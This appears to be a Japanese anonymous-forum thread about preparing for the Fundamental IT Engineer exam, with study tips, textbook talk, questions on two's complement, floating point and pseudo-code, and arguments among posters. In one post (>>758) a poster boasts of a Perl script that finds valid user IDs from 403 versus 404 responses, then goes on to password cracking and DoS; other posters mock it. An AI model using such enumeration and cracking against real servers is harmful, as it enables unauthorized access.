それと同時に、若手ネットワークエンジニアの国家試験が無いので、ネットワークベーシックを作る。

ある程度勉強をすれば、取れるレベルの30%程度の合格率であれば、受験者もできるだろう。
今、情報通信の普及著しいため、需要は高いはず。

>>494
「国家資格」という名目が欲しい人はいるかもしれないが
内容的にはCCNAで十分じゃないか？

基本情報のネットワーク問題は、かなり範囲を省略されていると思うよ。
ＣＣＮＡ、ＬＰＩＣをやってみればわかる。
無線や、ハードウェア知識も含めるし。

そもそも、普通のSEですら基本情報に合格していない奴が多いからな。
基本情報は、SEとして好ましいレベルの知識で良いと思う。
上流工程をより下位の試験に持ってくることで、ニーズにも合うし。


ＩＴ産業の幅も深さも大きく膨れ上がっているのだから、区分は増えて当然だし、
よりキャリアな資格も比例して増えるのは当然。

情報処理を取得した人が舐められるのは、もったいない。

ベンダー資格は、問題流出がすごいから。
ＣＣＮＡと基本情報を同じ評価にするのは、どうかと。

ネットワークスペシャリストでは初学者では、手が届かない、つまり需要が少ない。

より簡単にして、受験者が増えるのなら、既存の試験を簡単にするのではなく、
別の試験を作るのが筋だと思う。

あるいは、ベンダと共同の試験にするとか。
無理かな？

8% 　ネスペ→ネットワーク専門知識
13%　応用情報→上流選択、基本計画、設計
18%　基本情報→実務プログラム、フレームワーク、オブジェクト指向
30%　基本ネット→初学者対応のネットワークの知識
35%　３種情報→表計算プログラム、データベース利用、初歩手続プログラム、HTML+CSS、一般利用知識

>>497
＞より簡単にして、受験者が増えるのなら、既存の試験を簡単にするのではなく、
＞別の試験を作るのが筋だと思う。

これは同意

逆に、ベンダーは上流工程じゃない人向けだよね？

>>500
そうすれば、基本情報や応用情報ももっとマシな試験になると思う。
設計を入れれるし、今即戦力が望まれている、プロジェクトマネージメントの入門知識なんかも
多く入れることができる。

だからとって、下流が居なくなったら開発にならないので、下流専用の試験はあってよいと思う。
勉強すれば、誰でも通るくらいの試験。

>>501
下流な受験者が圧倒的に多いのは言うまでも無い。
ただし、上流ベンダもあるんじゃないのかな？

マイクロソフトなんて、1000以上も資格があるらしいし。
ほとんどが過去製品に対応しているものだけど。

現状IPAの試験受けてる時点で下流

どーでもいいけど能書き垂れる前に基本情報技術者試験に受かろうぜ

>>504
ここ資格保有者の数かなり多いよ

>>503
上流ほど会社命令で取らされると思うが？

>>505
何しにきてるんだ？
OB面とかマジうぜーんだけど

勉強方法とか試験当日の事とか聞けるからいいだろ
講釈たれるだけで意味が無い書込みはスルーすればいいし

最近勉強をサボり気味なので、ついさっき春試験の申込みしてきた
これでもう後戻りは出来ないな
あと３ヶ月ちょい、気合入れて勉強するぞ(｀・ω・´)

>勉強方法とか試験当日の事とか聞けるからいいだろ
そんなﾚｽみた記憶がない

>講釈たれるだけで意味が無い書込みはスルーすればいいし
ﾚｽの半数以上が意味の無い書込みなわけだが…

というかどうみても受験者のやる気をそぐよなうな内容ばかり

>>510
写真忘れるなよ！！って書込みに助けられた。

>>510
コテハンの学生が消えただけでもマシと思え

>>511
それは資格保有者じゃなくてもできる

で、表計算問題は簡単なの？難しいの？
他の言語と比べて難易度は？

>>514
表計算の方が言語より楽という意見が多い
おかげで試験の価値が下がったという書き込みもある位だ

ただ難しいと感じるかどうかは人それぞれだからね
実際解いて見ろとしか言えない。

＞＞５１５

ありがとう

資格手当目的で春試験申し込む予定だが、この資格とったせいで配置転換になったら嫌だなｗ

学生と会社命令以外で取る意味ねーよと思ってたけど

資格手当があったかぁ

>>507
趣味で質問に答えるために来ている。
だから質問が来ないとつまらない。

>>519
受験者に答えてもらえるからいないでいいよ

私は経験者にはいて欲しい

経験者は消えてほしい

好きにすればいい、そんなルールないし。

経験者必要無し
うざすぎる

確かにいらないね

経験者の意見を参考にして成り立っている世界なのに・・・

うざいうざい言ってるのは一人だろｗｗ
idでないから自演し放題

俺もいらないと思ってたけど？？

基本情報の申し込みにメルアド必須かよぉー！
ケータイにPC用に捨てアドにプロバイダ本アカウントにどれ使えばいいんだよぉー！

>>526
経験者ってただの有資格者だろ
実務の意見が聞きたいのならｽﾚ違いだから余所でやってね

>>524
全ての経験者が「うざい」のですか?それは少し極論すぎませんか?

そもそも本当に経験者かどうかもわかりませんよね?

全ての経験者を排除するというのはどうかと思いますよ

試験日まで時間がある時期に荒れるのはこの板では日常

大学中退って、最終学歴は高校卒業扱いですよね

あと基本情報技術者試験の申し込みなのに
「ITパスポートをどこで知りましたか」って聞かれるけど仕様ですよね

>>522
誰がここに来るかは個人の自由。

>>530
実務の話題は多いなｗ
スレ違いだが純粋に資格の話になると深刻な過疎になりそうだ。

>>533
高卒扱い。

>>533
>>535さん、ありがとうございます

ITパスの関連も、良く見たら右に「ITパスを受ける人のみ」と書いてありました
一部自己解決しました本当にありがとうございました

このスレで経験者の必要性がわからない

早速申込んだぜ　

テキストはどこがいいというのは経験者の意見じゃないの

コンビニ申込みだと制限時間3日っぽい？
でもまぁ、過ぎてももう一回登録しなおせばいいんだが、まぁ面倒だな

申し込み期限に達したら本気出す！！！

申し込み記念書きコ

今日から勉強開始じゃ〜！

>>539
未経験者が参考書買った後に過去問で勉強するのと経験者

学ぶ範囲何が違う？

本番試験で何か特別な事がない限り
経験者の必要は一切なし

経験者が優秀だとか思ってるのか？
入試を考えてみろ…
現在進行形で勉強してる奴と既に学生の奴
どちらが入試に関して知識があるかどうか

OBなんて過去の栄光にすがった邪魔者以外にない

邪魔だってさ〜w

>>544
過疎ってたからってつまらんネタいらないよ

いいからさっさと質問しろ

新卒持の就職には役に立つと過去にも書き込みありますが
入社してからの評価に違いはありますか？
資格保有組と非保有組で待遇の差とか昇進の差とか

>>544
だよなー
合格したからって学力が上がるわけじゃねーし
時間の経過で下がるだけだろうし
そんなのに偉そうに居座られても水を差されるだけだし実際役にたったねーし

それなら今勉強してる奴とあーだこーだと疑問投げ合う方が100倍いい
頼むから邪魔しないでくれ

>>548
OBのそれ系質問の解答

会社による



ほんとに意味ねーよｗｗｗ

>>550
あなたの回答の方が意味無いです。
荒らしはやめてください。

>>544
質問する気がないならこのスレに来る必要無いだろ、一人で勉強してろ。


そして落ちろw

>>548
学生さんかな？

資格手当 毎月5000円という所もあるけど、ほとんどが一時金です（5000円〜3万位）

新人教育の時に、保有組と非保有組で進捗に顕著な差がでますが、
最初のリードを生かして、更に上を目指していかないとすぐに追いつかれます。

昇進は関係無いです。
一般的には、30歳過ぎ（10年目位）にならないと昇進しないので、
その頃に基本情報持っていても直接評価に影響は無いでしょう。

10時から申し込み受付開始って書いてたけど
実際できたの遅かったよね？

>>553
あんま意味ない解答は荒らしだからやめてください

>>550
なるほど。大変参考になります。
ありがとうございまいました。

>>553
そういう曖昧な回答は惑わされるだけなので迷惑です。
やめてもらえませんか？

>>556 は偽物です。
いったい何がしたいのでしょうかね？

>>553 さんありがとうございました。

補数についてちょいと質問
浮動小数点形式で10進数0.25を表すと正規化して2進数0.1^-1ってなって
指数部にはマイナス1を入れるんだけど、負数は2の補数で書けってあって、つまり4bitだと1111になる
これだと単なる15乗と見分けつかなくない？

>>553=557
酷い自演ですが一体何がしたいのですか？

>>558
経験者言えど意味不明です
まずは日本語でお願いします

>>560
経験者は邪魔だから来るな

>>560
何様だよ?
見下して楽しい？

>>560
何しに来てるの？

経験者うざいうざいうざい

>>558
指数部分かどうかに関係無く、4ビットでかつ2の補数なら「1111」は10進の「-1」しかあり得ない。

4ビットで2の補数で表現できる範囲は2^(-3)〜2^3-1つまり-8〜7であるから。

蛇足だか、指数に補数はあんまり使わんぞ。

質問です

>>565の解答は経験者でしょうか？
それとも未経験者の勉強中組でしょうか？

>>565
何が　使わんぞ　だよ？
使いませんだろ？
ｺﾞﾐの分際で偉そうにするなｗｗｗｗｗｗｗｗｗｗｗ

わざわざ質問に答えてもこれだよ

わざわざ・・・

答えたかったんじゃねーのか？
答えてやってる系？ｗｗｗｗｗｗｗｗ

>>569
当たり前だ
教えてやってるんだから偉いに決まってるだろ？

指数部分には補数よりオフセットを使うのが普通だ。

その方が指数部分を揃えて加算・減算を行うのが楽だから。

>>571
独り言うざいよ？

ちなみに浮動少数点の内部表現は午後問題でも出た事があるぞ。

知らないと損をする。

>>573
えっと、、過去問題集見ればわかるんで
わかってる事を自慢げに言うのやめてもらえんか？

まだ経験者（笑）ってのいるのか…邪魔すぎる

何か一人で勝手にご自慢の知識を披露しちゃってるみたいだけど
全部問題集に載ってる事だし意味なさすぎ

>>576
だな
何がしたいんだろうね

>>565
たくさんレスが来てるけど俺は558とこのレスしかしてませんので
ありがとうございます
18年度春の4問目について聞いてたのだけど、浮動小数点形式の指数部は「2を基数とし、負数は2の補数で表現」とある
答えを求める立場としては指数が-1になるから負数なので2の補数の1111となるのはわかるけど、読み取る立場からしたら
指数部が負数か正数なのか知らないから1111が15を表してるのか-1を表してるのか区別できないと思ったのだけど・・

>>578=565
自演乙です^^;
病気だなこりゃ

>>578
そこは「2の補数」という条件がなければ決まらない。

自演に騙りか。
どうやらこのスレ荒らしたいだけみたいなのでスルーな。

>>580
解く以外のことは考えるなってことですか
ありがとうございました

【重要】

このスレには基本情報処理技術者試験に合格している方は書き込まないで下さい
資格取得に向けて頑張っている受験者一同の総意です

>>582
同じビット列でも符合なし整数なら15だし、2の補数なら-1になる。

問題文にある条件を見落とすなっていうこと。

午前のｱﾙｺﾞﾘｽﾞﾑの章が全然理解できない・・・
午後用に買ったｱﾙｺﾞﾘｽﾞﾑ本だと親切に細かく書いてあるのでそちらを先に学んだ方が
午前のｱﾙｺﾞﾘｽﾞﾑも学べますか？

午前のアルゴリズムはソート全種類暗記が前提ですぞ

やさしいCはしょりすぎてやさしくないね

>>586
理解は午後ｱﾙｺﾞﾘｽﾞﾑ教科書で補えますか？

よーし、申し込んだぞ。とりあえず寝よう

>>588
もちろん

>>590
ありがと^^
しかしｱﾙｺﾞﾘｽﾞﾑ難しい…orz
福嶋本55Pの度数分布の理解だけで30分かかった・・・
試験までに間に合うのか俺

21年春の午後問8、擬似言語の問題なんだが、
どうしてもfの答えに納得いかない。

26行〜34行のループが終われば、
36行目のReturnでプログラムが終了し、
12行から14行のプログラムは無くてもいいんじゃないのか？

お前ら２０代後半には応用受かる奴多いし
３０代前半に高度受かるのが平均的らしいぞ
ITに一回入ったら仕事以外の勉強でもずっと続けないとけない・・・

福嶋本55Pって最初からランダムに変数の中の値増えてるって解釈でいいのかな？

午後の採点に関しての質問です

最初の5/7が15点ずつ
ｱﾙｺﾞﾘｽﾞﾑが20点
言語が15点　との事ですが
過去問を見ると一つの問題の中に設問1〜3のように問題があるのですが
設問は全て正解で1問分正解となるのでしょうか？

>>592
ざっとしか見てないが、CheckAndStackの中でMoreが増えてればループが終わらん可能性はあるよな。

細かくトレースしてみれば確認できると思う。

みやこのアルゴリズムってどう思う？

>>597
本屋で立ち読みした程度だが
簡単そうに見えるだけでわかりづらい感じがした
ｻｲｽﾞもでかいから机の上で広げづらそう

>>593
でも、プログラム言語は一回覚えちゃえば、１０年くらい食べていけるよね？

>>599
「ここまで覚えたら一区切りだから仕事場で使えるよー」みたいな区切りないから、
1回覚えるって言ってもどのレベルで覚えるのかにもよるよね

基本情報申込みのコンビニ決済終わった
ケータイのカメラで、コンビニで入力する数字を撮っておけば安心でした

帰って入金確認→未入金

「※コンビニ決済の場合，お支払後の入金確認に最大２日かかるため，受付状況が未入金のままになっていることがあります。」
・・・うん、まだ安心するには時間が掛かるな

>>601
そんな事くらいで心配してたら
合格発表までの期間に心配死するんじゃないか？

心配事1個に付き、俺の脳のレジスタ1個食われるんだよ

>>599
必死に努力して１０年しか持たないのは厳しいと思わんか？
どうせやるなら一生使えるもんがいい。
なので俺は３年前に電気業界に鞍替えしました

プログラム言語で５年ぐらい食えるかもしれないが
その言語が終わったときにプログラムだけしかできないと終わる
メインは設計や対人スキル

>>603
メモリアーキテクチャに入れとけよ　メモ帳なり付箋なり

心配事が断片化されると、記憶の呼び出しに負荷が掛かります
定期的にデフラグメンテーションを行うことをおすすめします

【重要】

このスレには基本情報処理技術者試験に合格している方は書き込まないで下さい
資格取得に向けて頑張っている受験者一同の総意です

>>608
そんなことやるより、「合格者総合スレ」でも作って誘導した方が効果あると思うんだ

とったはいいがこんな資格意味無くないか？
実務で使えないし、面接で「あっそ」て言われるし
なんか費用対効果がいまいちだよね

どの資格取りに行っても
「ああこの時間に他の勉強すれば良かった」って思うタイプ、あると思います

>>610
広く浅いから実感できなくても地味に効いてくる。
RAID知らない、サブネットマスク知らない、BS・PL知らない、正規化できない
こんな奴は腐るほどいる。この資格持ってれば全て知ってる・出来るからね。

費用は5000円しかかからないが、学習時間は結構かかるかもな。

>>601　　
受付始まったのかあくぁあああああ
願書無くなる前に気付かせてありがとおおおおおお

>>612
簡単な事をちょこっと聞かれた時にもっともらしく答えられるようになったりと
表舞台で活躍できるような資格ではないがｼﾞｬﾌﾞのようにｼﾞﾜｼﾞﾜと役に立つよねｗ

費用は…ﾍﾞﾝﾀﾞ資格に比べて受験料、参考書等が安いと思ったが
基本情報は参考書の数が多すぎで試験台を合わせたら2万円近くいく・・・

>>614
それは本買いすぎだろ・・・

ケチって1冊も買わない俺よりは良いのかもしれんが。

>>615
このｽﾚでも書かれていたが
午前教科書、午後教科書、ｱﾙｺﾞﾘｽﾞﾑ教本、ﾌﾟﾛｸﾞﾗﾑ教本、問題集の5冊

買いすぎなんか・・・

俺はこいつで勝負するぜ！

■マル合格資格奪取! ITパスポート試験 基本情報技術者試験 応用情報技術者試験
http://www.amazon.co.jp/dp/B002QXMV2Y

冗談ぬきで買う人いる？（俺は予約済み）
気晴らしにいいかなと思ってるんだけど。

基数変換で質問です。

２→１０進数に変換する場合１桁目の計算式は
ｎ*2の0乗ですが、これを分解した式ってなんですか？

ｎ*2*0って思ったんですけど、これだとｎの値関係なしに0になってしまうので。

言いたいことが良く分からないけど
ｎ*2の0乗は(2*n)^0だよ、0乗はなんでも１になる
2の0乗でも3の0乗でも答えは１

>>618
nの0乗＝1（ただしnが0以外の場合）

こういうの工業とか専門学校に多そうだｗ

>>617
同士ｗｗｗｗｗ
俺もそれ買うつもりだ
それオンリーで行こうかとも思ってるｗ

>>617
書籍かと思ったらDSのゲームかよ！欲しいなおい！

>>617
確かに気晴らしには良いかもな

>>622
無茶しやがって・・・

解答見てもわからない問題が同じの繰り返し出題される傾向とかありそうだな
分からないからまた後で　分からないからまた後で　ってやってるうちに、
解答の説明不足なものや、完全にバグってる問題とかが、「あなたの苦手な問題」として溜まっていく不具合

くだらん事言ってないで勉強しなさい^^;

うるせーみんながみんな勉強してたらこんなスレいらねーんだよーっ！

ごめんやっぱ要る　試験日近くなると、わかんない問題聞くスレになるんだよな
去年の9月ごろから居るけど、試験前と試験後で流れが違いすぎて楽しいぜ

>>619
>>620
とゆう事は、１０進数変換の場合は１桁目のｎは
計算してもｎのままで、
ｎをただ１０進数に変換するだけでよいとゆう事ですか？

どなたか>>595に愛のﾚｽを…

>>628
多分それ俺も引っかかった問題だと思うんだよなー
具体的に過去問のナンバーあれば言ってもらえる？たしかネット上の解答に不備があったはず

良くないのだろうけど、2進ならビット列だから
右から順に1,2,4,8,16・・・・って感じで指折って数える。

「101」なら4+0+1=5って考えてしまう。

>>631
全然悪く無いし、ぜひどんどんやるべき
多角的にものが見れた方が良いです

>>632
そうなんですか。
中学生の時に授業で、両手で1023まで数えさせられてから
指折って数える癖がついてるんですよね・・・・

>>631
俺もずっとそれでやってたけど
慣れていない小数点時に苦労した

まぁ使い分けはできるようにした方がいいと思う

>>631
中学の理科クラブでおそわっていらい俺もそのやり方だｗ

もうみんな結構すすんでるんだなぁ
俺なんかまだ猫本半分だぜ
プログラミングも初心者レベルだし
やっぱ表計算でいくか･･･

>>636
ﾍﾟｰｽ的にまずいんじゃないか？
俺もﾌﾟﾛｸﾞﾗﾐﾝｸﾞはまだ手をつけていないが
ｱﾙｺﾞﾘｽﾞﾑで想定外の時間消費だ・・・

最終的なﾄｰﾀﾙ学習時間は400ｈ程度になりそうだけど
分布的に
猫本→1/5
ｱﾙｺﾞ本→1/5
午後本→1/5
言語→2/5
の予定

１日２０分程度の学習で１０月から始めたから、
２ヶ月６０日として1200分、えっまだ俺20時間しか勉強して無いのか・・・
これはやばい
一応午前2冊、午後は半分だけ本を読み終えた所だが

来月から勉強始めるよ
ちなみに初学ｗｗｗ受かる気まんまんです

レスサンクス〜

だよなぁ･･･まずいと思いつつ、なかなか時間がとれなくてな
アルゴと午後本もまだ未入手だし

来週までには猫本終わらせないと今月は通勤時間しか勉強できん
だがあきらめないぜ

シスアドの時は通学時に勉強半年したら受かったから頑張れ
基本情報は、特に午後問題はトレースで書き込みながらやらないといけないところがあるから、
どうしても机と向かって勉強する時間も必要になるだろうけど・・・

午後からが本当の地獄だぜ・・・！

>>638
20時間でそれだけ読めるならすごい
心配するまでもなく受かるだろうな

>>642
一応一回落ちてるんだ、4年ぐらい前に
だから読むの早いのかも　1冊は古い参考書そのまま使ったし

RAIDの概念は知ってるけど実際の設定は
NEとかにやって貰うんだろｗ

だいたい日系システムとか呼んでみろよ
プログラムとか解説してるページ一ページもなくて
業務分析の図の描き方とか交渉方法とか用語とかばっか

クラウドによって極一部のクラウドサービスを提供する側は数万のサーバーを処理する分散処理
を動作させる技術を持たないといけないが
ほとんどのクラウドサービスの上でアプリを作る側は
プログラムやシステムの用語を知ってるぐらいの技術力でおｋであとは人間力と発想力の勝負
文系の独壇場ｗ
難しいことは向こう側の人に任せるｗｗｗ

午後の文章問題の勉強は
過去問だけじゃ駄目ですか？っと
アルゴリズムとかやっても数学でてきたら解けないし

>>647
過去問の解説だけで理解できるなら良いけど、多分理解しきれないと思うので参考書買うのが結局早いかと
ベターなのは両方やること　まだ時間あるから両方やって良いんじゃないの

>>648
ttp://itpro.nikkeibp.co.jp/article/COLUMN/20090608/331475/?ST=slfcer
ネット上にこういうのありますがこれ以上詳しい参考書を見たことない
てか午後の文章問題って参考書やっても全然似た問題でないような

>>649
会員制じゃん・・・業者乙としか言いようがない

業者乙

詳しい参考書≒試験に問題が出る参考書

業者乙

業者乙
会員制にしたのが間違いだったな　素直に広告で稼げばいいのに
そもそもさ、この解説１ページ目だけのってて次のページ以降は会員にならないと見れません　とかさ
次のページに正しい解答が載ってる保証無いじゃん

午後問題って言語とアルゴリズム以外は午前のと範囲は同じですか？

おいおい無料だぜ？

>>652
だからさ午後の参考書やる意味ってあるの？

>>617
同士よｗｗ
明日大学の講義が終わったら即行で買いに行くｗ

>>655
午前問題は解説全部載ってる場所がある
午後問題は解説が途中から会員制になる

>>658
だからニコニコ動画みたいなもんだってｗｗ

無料の会員っていってもなぁ・・・
でもまぁ業者乙だよな

なんだこいつらｗ資格学校には金払って
無料のHPは業者乙かよｗｗｗｗｗｗｗｗｗｗｗ

凄い多数派が圧倒的に無知なスレを見た
お疲れ嫌なら見るな

本気で無料で情報提供したいなら会員制にする意味ねーじゃん

IDが無くて助かったのは誰だ

過剰反応しすぎだろお前らニコニコ動画みねえの？
雑誌の過去記事とか見るのが有料なんだろ
だいたいフリーメアド登録してID決めるだけでなんで金取られるんだよ

基本スレはパソコンをほとんど触ったことない
文系の情弱の集まり
うわー応用との溝深いなーｗｗｗｗｗ

>>658
午後問題載ってるのたぶんそこが一番いいよｗ
情報処理.ｊｐのは全然穴だらけだし

質問のタイミングをしくじったぜ！

テンプレサイトですら怪しいと言うのに

>>666
お前は>>608を1万回読み返せ

まぁそのサイトが怪しいかどうかは置いといて、
過去問だけでやっても難しいと思うよ　俺はね
それに書籍なら外で見れるだろ　通学・通勤の最中とか見るのにいいよ

何かしらんが業者乙

テンプレの午後の全体の参考書の
完全合格教本はあまりよくなかったが・・・

お前らウィルスが流行ったらネットに繋げなければいいってタイプだろｗ

>>674
ｶﾞﾝﾌﾞﾗｰ流行ってるのにみんな書き込んでるけど？ｗ

SEのセキリティ対策
ネットやらなければいい

この情報だけでは
「情報弱者が業者乙と言いまくってる」のか
「業者が本気で会員増やそうとしてる」のか
「ここまで全部自演」なのかわからないのです

お前らサイトのことはどうでもよくて
俺の人格が気に入らなくて叩いてるだろｗ

【重要】

このスレには基本情報処理技術者試験に合格している方は書き込まないで下さい
資格取得に向けて頑張っている受験者一同の総意です
※業者の方の書込みも禁止です

>>617
やってること書籍と変らねえｗ

>>678
いや、停滞気味のスレに良いスパイスだったよ　ありがとう　お茶吹かせてもらった

>>681
ｽﾚﾁで進行させて意味あるのか？

テンプレに主旨なんて書いてねーからなぁ・・・
有意義だと思うぞ　一度こういう体験するって言うのは　見てる人も体験した人も

>>683
業者乙と言い合いしてるﾚｽのどこが有意義だよ？
本気でそう思ってんなら病院逝った方がいい

>>684
もう少し大局的に見るんだ

教訓：資格スレでは直接問題文のアドレスでも出さない限り、叩かれる

ITproやらキーマンズネットを業者乙って流れ初めて見たｗ

おめーら勉強しろ

俺は別板でおすすめのサイト紹介することはよくあるけど、
基本的に検索ワードは言うけど直接アドレスはのっけないよ

リンクフリーってわざわざ書いてあるサイトなんてなかなかない

試験まであとちょっとなのに････好きな人ができました///

今更ながら学生時代に数学を真面目にやってこなかったことを激しく後悔してる
整数、実数、自然数・・・何がどう違うのか分からんorz

実数とは
ttp://oshiete1.goo.ne.jp/qa2449045.html
現在、基本情報技術者の資格勉強をしているものです。
アルゴリズムの勉強中に実数という言葉が出てきたのですが
注釈はのっておりませんでした。実数が何を意味しているのかがわかりません。

Yahoo知恵袋
自然数 整数 実数
ttp://search.chiebukuro.yahoo.co.jp/search/search.php?p=%E8%87%AA%E7%84%B6%E6%95%B0%E3%80%80%E6%95%B4%E6%95%B0%E3%80%80%E5%AE%9F%E6%95%B0&flg=3&fr=common-navi&dnum=2078297831

>>617
夜中布団入るとなかなか寝つけない人だからちょうどいいかも

秋頑張る

>>694
既に逃げ腰かお＾＾；

>>692
少数点以下の部分がある数値の事。

>>691
俺なんて　商　って何ってﾚﾍﾞﾙだったぜｗｗｗ

>696
適当教えんなよ！
小数点以下がなくても分数でも有理数でも無理数でも
基本的には実数に含まれる。
一般の人が知ってる数字は全部実数だと思っていい。

じゃあ実数じゃない数字は何なのか？…虚数、って奴よ。
エヴァンゲリオン見たことあるなら赤木博士が
「ディラックの海がなんたら、虚数空間どうの」っていってたの思い出して。

普通の数（実数）って何モンでも2乗したら正の数になるよな？
ところが虚数って奴は2乗したら負の数になるんだわ、大雑把に言うとね。
（正確に言うと「2乗しても正の数にならねえ」）

って訳で実数は「数直線上のどこかにある数」だな。
どんな中途半端な場所にあってもいいぞ。
逆にいうと虚数は「数直線上にない数」。

虚数は情報処理技術者試験に関係なかろうがw

>>698
お前も嘘言うなよｗそれは数学の話で
>>696が言ってるのはPC上の話だから別の話

猫本って午後の選択プログラム言語とアルゴリズムには対応してない？　
そのほかの長文は午前の応用らしいからこの本と過去問でも何とかなりそうだけど
表計算なら何とかなるから最低アルゴリズム用のもう一冊買わないといけないのか

教本わかりにくすぎわろた

>>617
konozamaになったぜ・・・
1/16入荷予定だと(´・ω・`)

【やさしいC】一通り終わったけど例題少なすぎて全然なんですけど・・・


>>1にある【基本情報技術者試験 C言語の切り札】はどうなんですか？

>>702
解説はしょりすぎだよなあれ

「min（X,Y）：X＜Yの時はXを返し、それ以外の時はYを返す

・C←min（６，５）
・表示C
・表示min（４，４）」

ってあったら、

「５４」

って表示されて、その上でCの中身は５のままって解釈で良いですよね

>>700
PC上でもただしくは違うよ。
FE対策なら混乱するからそれでいいけどね

>>706
あってる

IPAって頭おかしいよな。
シラバスやぶったりさ、応用情報のSQLがデータベーススペシャリストより難易度高くてさ
何でこんな波があんですかね？
資格としておかしいだろ、もう良い加減、範囲を決めろよ。

このクソIPAが試験を実施すると、関係者が儲かるよな。
本出版すればいいだけだろ、君等みたいにバカが参考書を買うなｗｗ

勉強できればそれでいいっす
資格ってゴールがあるから飽きやすい俺にはぴったり

>>708
ありがとうございます
「表示」に関してだけど、
C言語では、表示する機能には、改行する効果はなかったはずですよね
printf()だっけ　括弧の中身次第では改行できるのかな？

擬似プログラムばっかりやってて本物のプログラムさっぱりだー　表計算選ぶにしてももうちょっと知識つけたいな・・・

>>711
printfなら\nで改行。
Cに限らずほとんどの言語で共通。

擬似プログラムよりも、実際にプログラミングしたほうが楽しいと思うけどなー
>>706 のも実際にプログラム書いた方がしっくりくるだろうし

>>703
今日届いたよ。11月に予約してたけど。

>>703
俺はヨドバシで買ってきた
午前問題の訓練には丁度いいかもね
ただ計算問題は計算式を書き込む場所がないから家以外で出来ないのが不便だけど

まだ猫本1-04
もう寝よう

>>715
猫本のコツ

２章＞＞＞＞＞＞＞１章＞＞＞その他同じくらい

つらいのは最初だけだからがんばれ

http://www.jtw.zaq.ne.jp/kayakaya/new/sad/sad_pro/s_h13sm/s_h13sm_36.htm

アイテクの予想問題集に載ってたこの問題がよくわからんのだが、
たとえばアの解答だと
顧客マスタファイルに商品コードはないけど顧客コードがあるんだから

（顧客マスタファイルの）顧客コード→（当月受注ファイルの）顧客コード→
（当月受注ファイルの）商品コード→（商品マスタファイルの）商品コード

ってリレーションたどれば出力可能なんじゃないの？

>>717
前３か月分の出力は？

>>718
商品マスタファイルを参照すれば出力できない？

顧客が購入した商品がわかるのは当月分のみ
商品マスタの項目は(商品コード，名称，前月受注額，2か月前受注額，3か月受注額)
前3ヶ月分、どの商品を購入したかわかんねーじゃん

うーん、なんとなくわかった

仮に顧客マスタの項目に、商品コードが追加されたら
文意どおり出力可能になるよね？

出力できる
この問題の場合顧客は1種類の商品しか注文しねーのかよ！と
突っ込みたくなるので深追いするな

＞前3ヶ月分、どの商品を購入したかわかんねーじゃん
ここだけわかたらおk

了解。ありがとう

アルゴリズムに関してはみやこ先生の本で対策予定で
表計算対策にアイテックか明日発売のらくらく突破ジリーズ買おうと思ってんだけど必要ないかな？
アイテックの評判がやっつけ作成であまり評判がよろしくないみたいで悩んでる

過去十数回の午後の問題やって分からないとこ潰してくかな

>1種類の商品しか注文しねーのかよ！

>>722
｢顧客コード＋商品コード｣が一意になるからそれが｢主キー｣がわりになるんでね？
って今猫本でDB項目お勉強中な俺がいってみるテスト

>>726
あってるよ

>>726
よかった

猫本早く終わらせたい･･･

>>728は>>727あてだったorz

>>617

アキバヨドバシは売り切れだった・・・

しょうがないのでAmazonで注文した。

最速で出してる奴はまじやっつけだからな

午前の勉強なんて、午後の問題を解くための本を読む知識程度にしかならないよ。

↑十分すぎじゃね？

午後のアルゴリズムとプログラム以外の分野の本はこれっていうのがないな

エクスメディア社の図解シリーズが好きだったけど、会社潰れちゃったんだね・・・
あれよかったのになぁ　黄色い表紙のでっかい奴

>>734
ないね。
午後問題集2冊とアルゴリズム、言語の参考書を個別に買ってやってるけど
選択問題それぞれ1冊分くらいやっておかないと受かる気がしない。

午前の問題で最近共通フレーム2007の問題あるじゃん

しかも１個や２個じゃなくて３個くらいになって結構多いじゃん、

あれの対策ってどうすればいいかな、共通フレーム２００７の本買っちゃおうかな

ttp://lab.jibun.atmarkit.co.jp/entries/577
中小は情報系学生を欲しがる
大手企業は文系学生にチャンス

去年秋ダメだったから今年の春は絶対合格する
「勝ち残りSEへの分岐点」って本に書かれてた丸暗記の勉強方法いけそうな気がする

去年秋はアルゴリズムで+８点だったから
それで落ちたとなると厳しいな

問題集やると難しいってより、知らない英語の略語でさっぱりってことが多いな
ほんと記憶するの苦手だわ、こういうのどうすりゃいいの
いきなりSLAとか言われてもわからんわ、今はわかるけど

単語カードが結局一番いいと思う
電車の中で良くやってた

会計？が覚えられないが、ありゃ計算問題の公式みたいなもんだから、
単語帳でやっても微妙だよなぁ・・・？
やっぱり過去問解ける用になるまで同じのなんどもやるべきか

>>742
作る過程が面倒だったりヘタクソな自分の字を何度も見るのが嫌いなんだよね
まあ買ってくるか・・・さんｋす

>>742
午前だけでカード四つになっちまったぜ

>>745
カード４つって単語何個？

単語だけじゃないんじゃないか？

>>746は学習の仕方が下手と予想

>>746
ひとつ80枚だから320個
公式とかもあったりするけど

やっと引数を理解したぜ・・・
なんでFindPivot（）の中の数字4つもあるのかわけ分からなかった・・・

シスアドレベルの表計算とかほざいてましたが
実際、シスアドレベルじゃなかったゴミ表計算は今回どうなんでしょうか？教えてください

しるかぼけ

と、しかるぼけ

なんでIPAってひねりたがるんだ？ｗ
現役のPGとかが簡単に使う事をひねってわざわざ難しくしたりな。
バカかよｗ

表計算はさっさと除外すべき

MIL記号使った全加算の図が
複雑すぎておれの小さな脳みその処理能力を超えるんだけど
MIL記号を使って論理演算する図って試験に出る？

>>739
どんな方法なんだろう、
俺も行ってみたい

>>739
去年の秋ダメだった奴はマジでIT方面に進むのあきらめたほうがいいよ

基本情報とかカスですね
全然興味がないんでねこんな資格は

perlやりはじめてからクラッキングツールらしき物ができたんすけど
~user名　~から始まるユーザIDを探し当てる
ブルートフォーススクリプト
結果
id:HTTP/1.1 404 Not Found
user:HTTP/1.1 404 Not Found
id:HTTP/1.1 404 Not Found
user:HTTP/1.1 404 Not Found
aiueo:HTTP/1.1 403 Forbidden

403の場合ユーザーIDがあるからそれを保存
ユーザーIDを手に入れてあとはパスクラ

自前のクラッキングスクリプト＋DOSスクリプトなので色々暇つぶししてますよ

ちくしょうマネジメントが全然理解できん!
テキスト読んでも意味がさっぱりだ！
情報管理とか歌謡性管理とかあんなに沢山全部覚えられるかー！

>>758
厨房丸出しｸｿﾜﾛﾀ

そういうハッカー方面はCCNAとかがいいんじゃねえの
ソフトウェアに興味あるならこっち

IPAの考えは技術だけ詳しいエンジニアが日本に増えてもしょうがないって考えだからな
これからどんどん経営とかの問題増えてくだろうな

無能総当りアルゴリズムでハッカーとか何の冗談て話だよｗ
恥ずかしすぎる

>>759
ITﾊﾟｽﾎﾟｰﾄから始める事をお勧めします

まぁ実際なにかができるようになる資格じゃないな

